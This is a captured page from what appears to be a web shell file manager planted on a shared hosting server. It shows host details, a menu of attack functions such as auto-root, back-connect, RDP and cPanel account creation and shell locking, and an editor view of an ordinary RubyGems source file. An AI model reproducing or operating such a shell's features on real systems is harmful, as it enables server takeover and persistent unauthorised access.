Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby18 /
lib64 /
ruby /
site_ruby /
1.8 /
rubygems /
[ HOME SHELL ]
Name
Size
Permission
Action
commands
[ DIR ]
drwxr-xr-x
ext
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
ssl_certs
[ DIR ]
drwxr-xr-x
builder.rb
2.21
KB
-rw-r--r--
command.rb
12.46
KB
-rw-r--r--
command_manager.rb
4.67
KB
-rw-r--r--
config_file.rb
9.69
KB
-rw-r--r--
custom_require.rb
1.83
KB
-rw-r--r--
defaults.rb
2.65
KB
-rw-r--r--
dependency.rb
6.43
KB
-rw-r--r--
dependency_installer.rb
9.94
KB
-rw-r--r--
dependency_list.rb
5.58
KB
-rw-r--r--
deprecate.rb
1.81
KB
-rw-r--r--
doc_manager.rb
5.55
KB
-rw-r--r--
errors.rb
793
B
-rw-r--r--
exceptions.rb
2.34
KB
-rw-r--r--
ext.rb
379
B
-rw-r--r--
format.rb
1.96
KB
-rw-r--r--
gem_openssl.rb
2.24
KB
-rw-r--r--
gem_path_searcher.rb
4.57
KB
-rw-r--r--
gem_runner.rb
2.38
KB
-rw-r--r--
gemcutter_utilities.rb
1.86
KB
-rw-r--r--
indexer.rb
16.93
KB
-rw-r--r--
install_update_options.rb
3.87
KB
-rw-r--r--
installer.rb
17.02
KB
-rw-r--r--
installer_test_case.rb
3.1
KB
-rw-r--r--
local_remote_options.rb
3.36
KB
-rw-r--r--
mock_gem_ui.rb
1.05
KB
-rw-r--r--
old_format.rb
3.69
KB
-rw-r--r--
package.rb
2.15
KB
-rw-r--r--
package_task.rb
3.79
KB
-rw-r--r--
path_support.rb
1.5
KB
-rw-r--r--
platform.rb
5.55
KB
-rw-r--r--
psych_additions.rb
249
B
-rw-r--r--
psych_tree.rb
687
B
-rw-r--r--
remote_fetcher.rb
13.78
KB
-rw-r--r--
require_paths_builder.rb
577
B
-rw-r--r--
requirement.rb
5.01
KB
-rw-r--r--
security.rb
28.83
KB
-rw-r--r--
server.rb
21.93
KB
-rw-r--r--
source_index.rb
11
KB
-rw-r--r--
spec_fetcher.rb
7.17
KB
-rw-r--r--
specification.rb
54.83
KB
-rw-r--r--
syck_hack.rb
2.02
KB
-rw-r--r--
test_case.rb
23.22
KB
-rw-r--r--
test_utilities.rb
3.47
KB
-rw-r--r--
text.rb
1.23
KB
-rw-r--r--
uninstaller.rb
6.77
KB
-rw-r--r--
user_interaction.rb
11.22
KB
-rw-r--r--
validator.rb
4.65
KB
-rw-r--r--
version.rb
10.19
KB
-rw-r--r--
version_option.rb
1.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gem_path_searcher.rb
require "rubygems" require "rubygems/deprecate" ## # GemPathSearcher has the capability to find loadable files inside # gems. It generates data up front to speed up searches later. class Gem::GemPathSearcher ## # Initialise the data we need to make searches later. def initialize # We want a record of all the installed gemspecs, in the order we wish to # examine them. # TODO: remove this stupid method @gemspecs = init_gemspecs # Map gem spec to glob of full require_path directories. Preparing this # information may speed up searches later. @lib_dirs = {} @gemspecs.each do |spec| @lib_dirs[spec.object_id] = lib_dirs_for spec end end ## # Look in all the installed gems until a matching +glob+ is found. # Return the _gemspec_ of the gem where it was found. If no match # is found, return nil. # # The gems are searched in alphabetical order, and in reverse # version order. # # For example: # # find('log4r') # -> (log4r-1.1 spec) # find('log4r.rb') # -> (log4r-1.1 spec) # find('rake/rdoctask') # -> (rake-0.4.12 spec) # find('foobarbaz') # -> nil # # Matching paths can have various suffixes ('.rb', '.so', and # others), which may or may not already be attached to _file_. # This method doesn't care about the full filename that matches; # only that there is a match. def find(glob) # HACK violation of encapsulation @gemspecs.find do |spec| # TODO: inverted responsibility matching_file? spec, glob end end # Looks through the available gemspecs and finds the first # one that contains +file+ as a requirable file. def find_spec_for_file(file) @gemspecs.find do |spec| return spec if spec.contains_requirable_file?(file) end end def find_active(glob) # HACK violation of encapsulation @gemspecs.find do |spec| # TODO: inverted responsibility spec.loaded? and matching_file? spec, glob end end ## # Works like #find, but finds all gemspecs matching +glob+. def find_all(glob) # HACK violation of encapsulation @gemspecs.select do |spec| # TODO: inverted responsibility matching_file? spec, glob end || [] end def find_in_unresolved(glob) # HACK violation specs = Gem.unresolved_deps.values.map { |dep| Gem.source_index.search dep, true }.flatten specs.select do |spec| # TODO: inverted responsibility matching_file? spec, glob end || [] end def find_in_unresolved_tree glob # HACK violation # TODO: inverted responsibility specs = Gem.unresolved_deps.values.map { |dep| Gem.source_index.search dep, true }.flatten specs.reverse_each do |spec| trails = matching_paths(spec, glob) next if trails.empty? return trails.map(&:reverse).sort.first.reverse end [] end ## # Attempts to find a matching path using the require_paths of the given # +spec+. def matching_file?(spec, path) not matching_files(spec, path).empty? end def matching_paths(spec, path) trails = [] spec.traverse do |from_spec, dep, to_spec, trail| next unless to_spec.conflicts.empty? trails << trail unless matching_files(to_spec, path).empty? end trails end ## # Returns files matching +path+ in +spec+. #-- # Some of the intermediate results are cached in @lib_dirs for speed. def matching_files(spec, path) return [] unless @lib_dirs[spec.object_id] # case no paths glob = File.join @lib_dirs[spec.object_id], "#{path}#{Gem.suffix_pattern}" Dir[glob].select { |f| File.file? f.untaint } end ## # Return a list of all installed gemspecs, sorted by alphabetical order and # in reverse version order. (bar-2, bar-1, foo-2) def init_gemspecs Gem::Specification.sort { |a, b| names = a.name <=> b.name next names if names.nonzero? b.version <=> a.version } end ## # Returns library directories glob for a gemspec. For example, # '/usr/local/lib/ruby/gems/1.8/gems/foobar-1.0/{lib,ext}' def lib_dirs_for(spec) "#{spec.full_gem_path}/{#{spec.require_paths.join(',')}}" if spec.require_paths end extend Gem::Deprecate deprecate :initialize, :none, 2011, 10 deprecate :find, :none, 2011, 10 deprecate :find_active, :none, 2011, 10 deprecate :find_all, :none, 2011, 10 deprecate :find_in_unresolved, :none, 2011, 10 deprecate :find_in_unresolved_tree, :none, 2011, 10 deprecate :find_spec_for_file, :none, 2011, 10 end
Close